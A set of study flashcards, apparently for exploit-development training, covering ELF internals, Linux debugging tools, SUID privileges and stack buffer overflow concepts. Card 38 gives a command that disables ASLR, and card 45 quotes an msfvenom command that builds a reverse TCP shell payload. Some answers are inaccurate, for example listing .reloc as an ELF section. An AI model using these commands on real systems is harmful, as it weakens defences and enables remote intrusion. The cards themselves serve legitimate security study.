Linux Stack Smashing Flashcards

1
Q

this two program traces library or system calls performed by the target binary

A

ltrace / strace

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

displays an information about an ELF file

A

readelf

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

What does ELF stands for in linux

A

Executable and Linkable Format

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

This one is used to display informatin about object files. Can also be used for disassembling Linux executables

A

objdump

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

extracts readable strings from a binary.

A

strings

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

The ELF file is consist of this two

A

ELF header and ELF data

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

An ELF header contains important information for the OS on how to handle the file. This is one of the most important parts of the header.

The header starts with what hex sequence?

A

7f 45 4c 46

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

In ELF header, this defines the target architecture

A

Class

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

In ELF header, this refers to the type of endianness (litte or big)

A

Data

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

This are the products of memory corruptions. Which then can be fed to gdb in order to examine crashed programs more accurately

A

Core Dumps

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

This is responsible for taking the name of functions and linking them to their actual locations in memory.

A

Linkers

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

During a call to a function, this is responsible for locating its memory address within a system library and then writing it to the process memory of the executable, so that the function can be accessed at that address.

A

Linkers

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

The task of this is to load programs from storage into memory.

A

loader

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

This means moving the module to another place in memory to avoid address collisions.

A

Relocation

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

The ELF file contains this section. Whenever the desired loading address is unavailable, this section is responsible for patching that program with new address.

A

.reloc

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

In order to be able to do patching the program with new addresses. This is used to describe the address of the program functions.

A

relative addressing.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q

This describes a function address by the offset from the loading base address and not by the full address.

A

Relative addressing

For example, if the relative virtual address of a function is 0x123 and its program is loaded at 0x804000, the function can be found at 0x804123.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
18
Q

This are the descriptions of the executable code and include, among others, functions and variable names. This makes debugging a lot easier since many function and variable names give a hint on what they are supposed to do; for example, finding functions named
getName() or printName(), can save us from a lot of reverse engineering activities.

A

Symbols

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
19
Q

This is the process of removing symbols from an ELF file.

A

stripping

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
20
Q

This can be mapped directly into memory upon executions

A

Executable files (EXEC)

21
Q

This are executable supporting the relocation process

A

Relocatable files (REL)

22
Q

This are libraries of functions. From technical perspective, they contains sections typical for both executable and relocatable files. They can often be recognize by their .so extension.

A

Shared objects (DYN)

23
Q

This are some standard places within ELF file that play a certain role in its functionalities. Upon startup, this are mapped into the process memory.

A

Sections

24
Q

This means storing them in the memory of a newly created process with respect to their size and contained data.

A

Mapping

25
Q

According to this, while a program is running and data from certain section should be used, operations on those areas may or may not be restricted.

A

Permissions

26
Q

This section contains initialized data with read/write access rights.

A

.data

27
Q

This section contains initialized data with read only access rights.

A

.rodata

28
Q

This section contains uninitialized data with read and write access rights.

A

.bss

29
Q

One of the sections that are important to every executable, this section holds the addresses of the function.

A

.GOT(Global Offset Table)

30
Q

This is also a section important on an executable, this holds the function stubs that point to the .GOT entry

A

.PLT(Procedure Linkage Table)

31
Q

If you run a SUID root program, this program runs with what privileges?

A

root

32
Q

If you run a SGID program, the program runs with priveleges of what?

A

the group ( runs as if you were a member of that)

33
Q

This is an area of memory within a process that is used by the process itself to save data. Contrary to registers which are small in size but the fastest among all temporary data storages, this offers a larger space.

A

Stack

34
Q

This is where the program will return once the a function is finished.

A

Return Address

35
Q

On 32 bit system, the stack alignment is?

A

4-byte or double word

36
Q

The stack grows towards higher/lower address?

A

lower addresses

This means that if the first element that is pushed onto the stack has an address of 0xbffffff8, then it will occupy the space between 0xbffffff8 and 0xbffffff5. The next element pushed on the stack will start at 0xbffffff4.

37
Q

This occurs due to programmatic error. This may happen, when the program is insecurely handling user-supplied data.

A

Stack overflow also called buffer overflow/stack-based buffer overflow.

38
Q

This command disable the ASLR on linux machine (Ubuntu 32-bit)

A

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

39
Q

This is a type of ELF file that is created upon a segmentation fault (memory corruption) being encountered within a binary.

A

Core Dump

40
Q

This is a gdb commands that allows you to create a pattern. Same at pattern_create.rb on Metasploit. Show how to create 700 pattern on gdb.

A

pattern create 700 pattern.txt

41
Q

This command in GDB allows you to determine the offset to the EIP.

A

pattern offset [address]

42
Q

This is a piece of code within a program that is not used, which may happen, due to a developer’s not removing unused functions.

A

Dead Code

43
Q

If you do not have the source code of your target program and the binary is not stripped, you can try to locate the existing functions using this command in GDB

A

info functions

44
Q

Is a set of instruction that is used to execute certain actions within the program.

A

Shellcode.

45
Q

In the command “msfvenom -p linux/x86/shell_reverse_tcp lhost=YOURIP lport=YOURPORT -b’\x00’ -f python”

What is the purpose of “-b”??

A

Specify bad characters

46
Q

The original purpose of this instruction was to help with measuring processor performance by performing just an empty cycle.

A

NOP - No-Operation Instruction

47
Q

What is the opcode of NOP

A

0x90

48
Q

This is the term called on a long sequence of NOPs

A

NOP Slide